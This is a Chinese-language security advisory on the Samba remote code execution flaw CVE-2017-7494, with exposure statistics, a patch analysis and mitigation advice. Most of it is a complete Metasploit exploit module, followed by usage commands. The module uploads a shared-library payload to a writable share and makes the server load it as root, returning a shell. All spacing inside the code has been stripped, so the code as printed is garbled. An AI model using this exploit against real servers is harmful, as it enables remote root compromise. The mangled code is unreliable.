【漏洞预警】Samba远程代码执行漏洞
2017年5月24日Samba发布了4.6.4版本,其中修复了一个严重的远程代码执行漏洞,该漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0-4.6.4,3.5.0-4.5.10,3.5.0-4.4.14中间的版本(不包含4.6.4,4.5.10,4.4.14版本)。该漏洞可以造成远程代码执行,恶意攻击者可提升至root权限,对服务器进行任意破坏操作。
根据白帽汇FOFA系统统计,目前,全球共有190万个存在smb的linux服务器,美国共有8.6万,中国地区有6.5万,该存在smb服务最多的国家是阿拉伯联合酋长国,有87万台。目前经过白帽汇安全工程师的测试发现Synology NAS系统存在该问题。
Samba 服务全球开放情况(仅为端口开放情况,非漏洞影响情况)
Samba 服务中国地区开放情况(仅为端口开放情况,非漏洞影响情况)
漏洞原理与危害
该漏洞需要通过一个可写入的Samba用户权限即可以提权root权限,即使Samba默认不是root用户执行。
通过发布的最新版本补丁,进行对比分析,可以看到在is_known_pipename函数中对pipename是否包含/进行了检查。
通过补丁可知,这里我们可以构造一个有/符号的管道名或路径名,如/home/exchange/evil.so
对于存在漏洞的版本,就会代入smb_probe_module中,从而可以加载攻击者上传并执行dll或者so文件。
漏洞影响
暂无
漏洞POC
以下PoC为MetasplotFramework框架的利用代码,使用时请把该文件保存到msf文件夹modules/exploits/linux/samba中,并命名为is_known_pipename.rb。
classMetasploitModule<Msf::Exploit::Remote
Rank=ExcellentRanking
includeMsf::Exploit::Remote::DCERPC
includeMsf::Exploit::Remote::SMB::Client
definitialize(info={})
super(update_info(info,
'Name'=>'Sambais_known_pipename()ArbitraryModuleLoad',
'Description'=>%q{
Thismoduletriggersanarbitrarysharedlibraryloadvulnerability
inSambaversions3.5.0to4.4.14,4.5.10,and4.6.4.Thismodule
requiresvalidcredentials,awriteablefolderinanaccessibleshare,
andknowledgeoftheserver-sidepathofthewriteablefolder.In
somecases,anonymousaccesscombinedwithcommonfilesystemlocations
canbeusedtoautomaticallyexploitthisvulnerability.
},
'Author'=>
[
'steelo<knownsteelo[at]gmail.com>',#VulnerabilityDiscovery
'hdm',#MetasploitModule
],
'License'=>MSF_LICENSE,
'References'=>
[
['CVE','2017-7494'],
['URL','https://www.samba.org/samba/security/CVE-2017-7494.html'],
],
'Payload'=>
{
'Space'=>9000,
'DisableNops'=>true
},
'Platform'=>'linux',
#
#TargetsarecurrentlylimitedbyplatformswithELF-SOpayloadwrappers
#
'Targets'=>
[
['LinuxARM(LE)',{'Arch'=>ARCH_ARMLE}],
['Linuxx86',{'Arch'=>ARCH_X86}],
['Linuxx86_64',{'Arch'=>ARCH_X64}],
#['LinuxMIPS',{'Arch'=>MIPS}],
],
'Privileged'=>true,
'DisclosureDate'=>'Mar242017',
'DefaultTarget'=>2))
register_options(
[
OptString.new('SMB_SHARE_NAME',[false,'ThenameoftheSMBsharecontainingawriteabledirectory']),
OptString.new('SMB_SHARE_BASE',[false,'TheremotefilesystempathcorrelatingwiththeSMBsharename']),
OptString.new('SMB_FOLDER',[false,'ThedirectorytousewithinthewriteableSMBshare']),
])
end
defgenerate_common_locations
candidates=[]
ifdatastore['SMB_SHARE_BASE'].to_s.length>0
candidates<<datastore['SMB_SHARE_BASE']
end
%W{/volume1/volume2/volume3/shared/mnt/mnt/usb/media/mnt/media/var/samba/tmp/home/home/shared}.eachdo|base_name|
candidates<<base_name
candidates<<[base_name,@share]
candidates<<[base_name,@share.downcase]
candidates<<[base_name,@share.upcase]
candidates<<[base_name,@share.capitalize]
candidates<<[base_name,@share.gsub("","_")]
end
candidates.uniq
end
defenumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
stuff=self.simple.client.find_first("\\*")
directories=[""]
stuff.each_pairdo|entry,entry_attr|
nextif%W{...}.include?(entry)
nextunlessentry_attr['type']=='D'
directories<<entry
end
returndirectories
rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e
vprint_error("Enum#{share}:#{e}")
returnnil
ensure
ifself.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
defverify_writeable_directory(share,directory="")
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
random_filename=Rex::Text.rand_text_alpha(5)+".txt"
filename=directory.length==0?"\\#{random_filename}":"\\#{directory}\\#{random_filename}"
wfd=simple.open(filename,'rwct')
wfd<<Rex::Text.rand_text_alpha(8)
wfd.close
simple.delete(filename)
returntrue
rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e
vprint_error("Write#{share}#{filename}:#{e}")
returnfalse
ensure
ifself.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
defshare_type(val)
['DISK','PRINTER','DEVICE','IPC','SPECIAL','TEMPORARY'][val]
end
defenumerate_shares_lanman
shares=[]
begin
res=self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v')+
"WrLeh\x00"+
"B13BWz\x00"+
[0x01,65406].pack("vv")
))
rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e
vprint_error("CouldnotenumeratesharesviaLANMAN")
return[]
end
ifres.nil?
vprint_error("CouldnotenumeratesharesviaLANMAN")
return[]
end
lerror,lconv,lentries,lcount=res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data=res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries-1)do|i|
sname,tmp=data[(i*20)+0,14].split("\x00")
stype=data[(i*20)+14,2].unpack('v')[0]
scoff=data[(i*20)+16,2].unpack('v')[0]
scoff-=lconviflconv!=0
scomm,tmp=data[scoff,data.length-scoff].split("\x00")
shares<<[sname,share_type(stype),scomm]
end
shares
end
defprobe_module_path(path)
begin
simple.create_pipe(path)
rescueRex::Proto::SMB::Exceptions::ErrorCode=>e
vprint_error("Probe:#{path}:#{e}")
end
end
deffind_writeable_path(share)
subdirs=enumerate_directories(share)
returnunlesssubdirs
ifdatastore['SMB_FOLDER'].to_s.length>0
subdirs.unshift(datastore['SMB_FOLDER'])
end
subdirs.eachdo|subdir|
nextunlessverify_writeable_directory(share,subdir)
returnsubdir
end
nil
end
deffind_writeable_share_path
@path=nil
share_info=enumerate_shares_lanman
ifdatastore['SMB_SHARE_NAME'].to_s.length>0
share_info.unshift[datastore['SMB_SHARE_NAME'],'DISK','']
end
share_info.eachdo|share|
nextifshare.first.upcase=='IPC$'
found=find_writeable_path(share.first)
nextunlessfound
@share=share.first
@path=found
break
end
end
deffind_writeable
find_writeable_share_path
unless@share&&@path
print_error("Nosuiteableshareandpathwerefound,trysettingSMB_SHARE_NAMEandSMB_FOLDER")
fail_with(Failure::NoTarget,"Nomatchingtarget")
end
print_status("Usinglocation\\\\#{rhost}\\#{@share}\\#{@path}forthepath")
end
defupload_payload
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename=Rex::Text.rand_text_alpha(8)+".so"
filename=@path.length==0?"\\#{random_filename}":"\\#{@path}\\#{random_filename}"
wfd=simple.open(filename,'rwct')
wfd<<Msf::Util::EXE.to_executable_fmt(framework,target.arch,target.platform,
payload.encoded,"elf-so",{:arch=>target.arch,:platform=>target.platform}
)
wfd.close
@payload_name=random_filename
returntrue
rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e
print_error("Write#{@share}#{filename}:#{e}")
returnfalse
ensure
ifself.simple.shares["\\\\#{rhost}\\#{@share}"]
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
end
end
end
deffind_payload
print_status("Payloadisstoredin//#{rhost}/#{@share}/#{@path}as#{@payload_name}")
#ReconnecttoIPC$
simple.connect("\\\\#{rhost}\\IPC$")
#
#InaperfectworldwewouldfindawaymakeIPC$'sassociatedCWD
#changetooursharepath,whichwouldallowthefollowingcode:
#
#probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
#
#Untilwefindabetterway,bruteforcebasedoncommonpaths
generate_common_locations.eachdo|location|
target=[location,@path,@payload_name].join("/").gsub(/\/+/,'/')
print_status("Tryinglocation#{target}...")
probe_module_path(target)
end
end
defexploit
#SetupSMB
connect
smb_login
#Findawriteableshare
find_writeable
#Uploadthesharedlibrarypayload
upload_payload
#Findandexecutethepayloadfromtheshare
find_payloadrescueRex::StreamClosedError
#Shutdown
disconnect
end
end
使用方法:
useexploit/linux/samba/is_known_pipename
setRHOST目标ip
exploit
成功后就会返回Shell,成功后效果如下图:
CVE编号
CVE-2017-7494
修复建议
1、下载安装最新版本的samba软件。最新版本:
https://www.samba.org/samba/history/samba-4.6.4.html
https://www.samba.org/samba/history/samba-4.5.10.html
https://www.samba.org/samba/history/samba-4.4.14.html
2、用户可以通过临时修改smb.conf文件进行防御,在smb.conf的[global]节点下增加 ntpipesupport=no选项,然后重新启动samba服务,即可防御相关攻击。
白帽汇会持续对该漏洞进行跟进。后续可以关注链接
参考
[1] https://lists.samba.org/archive/samba-announce/2017/000406.html
[2] https://github.com/rapid7/metasploit-framework/pull/8450
北京白帽汇科技有限公司是一家专注于安全大数据、企业威胁情报,为企业提供尖端安全产品和服务的一家高科技互联网企业。公司产品包括:EWSIS-企业web安全监控系统、ETSS-企业威胁感知系统、ANDERSEN-企业威胁感知平台(SAAS)、NOSEC-大数据安全协作平台。可为企业提供:网络空间测绘、网站安全监控、企业资产收集、漏洞扫描、安全日志分析、员工邮箱泄露监测、企业威胁情报、应急响应、安全代维等解决方案和服务。
最新评论